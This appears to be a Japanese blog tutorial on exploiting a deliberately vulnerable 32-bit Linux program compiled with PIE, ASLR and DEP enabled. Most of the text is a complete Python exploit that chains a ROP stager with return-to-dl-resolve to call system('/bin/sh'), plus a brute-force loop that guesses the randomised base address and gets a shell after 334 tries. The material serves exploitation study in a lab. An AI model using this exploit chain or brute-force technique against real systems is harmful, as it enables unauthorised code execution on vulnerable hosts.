「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらに実行ファイルがPIEの場合についてブルートフォースによるシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、PIE、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -fPIE -pie bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
readelfコマンドでセクション情報を表示すると、各セクションのアドレスが小さな値(ファイル先頭からのオフセット)になっており、PIEであることが確認できる。
$ readelf -S a.out Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 00000154 000154 000013 00 A 0 0 1 ... [12] .plt PROGBITS 00000400 000400 000060 04 AX 0 0 16 [13] .text PROGBITS 00000460 000460 000228 00 AX 0 0 16 ... [23] .got.plt PROGBITS 00001ff4 000ff4 000020 04 WA 0 0 4 [24] .data PROGBITS 00002014 001014 000008 00 WA 0 0 4 [25] .bss NOBITS 0000201c 00101c 000008 00 WA 0 0 4 ...
ASLRが無効な場合に対するエクスプロイトコードを書いてみる
ASLRは実行時のメモリ配置に関するセキュリティ機構であり、ASLRが有効でも無効でもコンパイルされた実行ファイルは同一である。 そこで、手始めにASLRが無効な場合について考えてみる。
readelfコマンドおよびobjdumpコマンドを使い、実行ファイルのセクション情報およびディスアセンブル結果を書き出してみる。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
出力したデータをもとに、ROP stagerによる固定アドレス書き込み、Return-to-dl-resolveによるsystem関数呼び出しを行うエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE base_bin = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) addr_dynsym = base_bin + 0x1e0 # readelf -S a.out addr_dynstr = base_bin + 0x2a0 # readelf -S a.out addr_relplt = base_bin + 0x3a8 # readelf -S a.out addr_plt = base_bin + 0x400 # readelf -S a.out addr_gotplt = base_bin + 0x1ff4 # readelf -S a.out addr_bss = base_bin + 0x201c # readelf -S a.out addr_plt_read = base_bin + 0x410 # objdump -d -j.plt a.out addr_got_read = addr_gotplt + 0xc # objdump -d -j.plt a.out addr_pop3 = base_bin + 0x62d # objdump -d a.out addr_pop_ebp = base_bin + 0x62f # objdump -d a.out addr_leave_ret = base_bin + 0x5cd # objdump -d a.out addr_pop_ebx = base_bin + 0x3fc # objdump -d a.out stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_pop_ebx) buf1 += struct.pack('<I', addr_gotplt) buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 100) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) addr_reloc = base_stage + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAA' buf2 += struct.pack('<I', addr_plt) buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_got_read - base_bin) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait()
このコードは実行ファイルのベースアドレス、オーバーフローさせるバッファのサイズを順に引数に取る。 コードの内容は基本的にはPIEでない場合と同じであるが、以下について修正する必要がある。
- PIEではebxレジスタにGOTセクションの先頭アドレスがセットされ、PLTにて利用される。そのため、最初にebxレジスタにGOTセクションの先頭アドレスをセットする。
- Elf32_Rel構造体のreloc_offsetには実際に配置されたアドレスではなく、ファイル先頭からのオフセット値が入る。
ASLRを一旦無効にし、gdbで実行ファイルのベースアドレスを調べてみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x560 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x80000560 in main () (gdb) i proc map process 1780 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x80000000 0x80001000 0x1000 0x0 /home/user/tmp/a.out 0x80001000 0x80002000 0x1000 0x0 /home/user/tmp/a.out 0x80002000 0x80003000 0x1000 0x1000 /home/user/tmp/a.out ... (gdb) quit
この結果から、実行ファイルのベースアドレスが0x80000000であることがわかる。
引数をセットし、エクスプロイトコードを実行してみる。
$ python exploit.py 0x80000000 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfc\x03\x00\x80\xf4\x1f\x00\x80\x10\x04\x00\x80-\x06\x00\x80\x00\x00\x00\x00\x1c(\x00\x80d\x00\x00\x00/\x06\x00\x80\x1c(\x00\x80\xcd\x05\x00\x80' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
PIEな実行ファイルに対し、ASLRが無効な条件下でシェルが起動できていることがわかる。
ASLRを有効にしてブルートフォースしてみる
実行ファイルのベースアドレスが一致すればシェルが起動することを確認できたので、ASLRが有効な場合について考えてみる。 事前にbuffer over-readによるスタック上のリターンアドレスの書き出しなどができる場合は、これをもとにベースアドレスを計算すればよい。 ベースアドレスの計算ができない場合でも、32bit環境であればブルートフォースによる方法が可能である。
ASLRを有効にし、gdbを使ってベースアドレスが変化する様子を調べてみる。
ここで、gdbはデフォルトでASLRを無効化するため、set disable-randomization off
を実行する必要があることに注意する。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disable-randomization off (gdb) start Temporary breakpoint 1 at 0x560 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0xb776c560 in main () (gdb) i proc map process 2111 Mapped address spaces: Start Addr End Addr Size Offset objfile ... 0xb776c000 0xb776d000 0x1000 0x0 /home/user/tmp/a.out 0xb776d000 0xb776e000 0x1000 0x0 /home/user/tmp/a.out 0xb776e000 0xb776f000 0x1000 0x1000 /home/user/tmp/a.out ... (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 2 at 0xb776c560 Starting program: /home/user/tmp/a.out Temporary breakpoint 2, 0xb7779560 in main () (gdb) i proc map process 2114 Mapped address spaces: Start Addr End Addr Size Offset objfile ... 0xb7779000 0xb777a000 0x1000 0x0 /home/user/tmp/a.out 0xb777a000 0xb777b000 0x1000 0x0 /home/user/tmp/a.out 0xb777b000 0xb777c000 0x1000 0x1000 /home/user/tmp/a.out ... (gdb) quit
繰り返し実行すると、実行ファイルのベースアドレスが0xb77XX000
(XX=00-ff)あるいは0xb7800000
の範囲で変化していることがわかる。
つまり、32bit環境であれば0x100(=256)回程度の試行でベースアドレスが一致すると考えられる。
引数で与えたベースアドレスのもと、繰り返し試行するようにエクスプロイトコードを修正してみる。
# exploit-bf.py (snip) # execution part i = 0 while True: print >>sys.stderr, "[+] trial: %d" % (i+1) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) # print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait() i += 1
ベースアドレスに取り得る適当なアドレスを引数にセットし、実行してみる。
$ python exploit.py 0xb7779000 100 [+] trial: 1 [+] trial: 2 [+] trial: 3 [+] trial: 4 (snip) [+] trial: 334 $ id uid=1000(user) gid=1000(user) groups=1000(user) $ [+] trial: 335 [CTRL+C] Traceback (most recent call last): File "exploit.py", line 76, in <module> p.wait() File "/usr/lib/python2.7/subprocess.py", line 1291, in wait pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0) File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call return func(*args) KeyboardInterrupt
32bitのASLRが有効な条件下のもと、334回の試行でシェルが起動できていることが確認できた。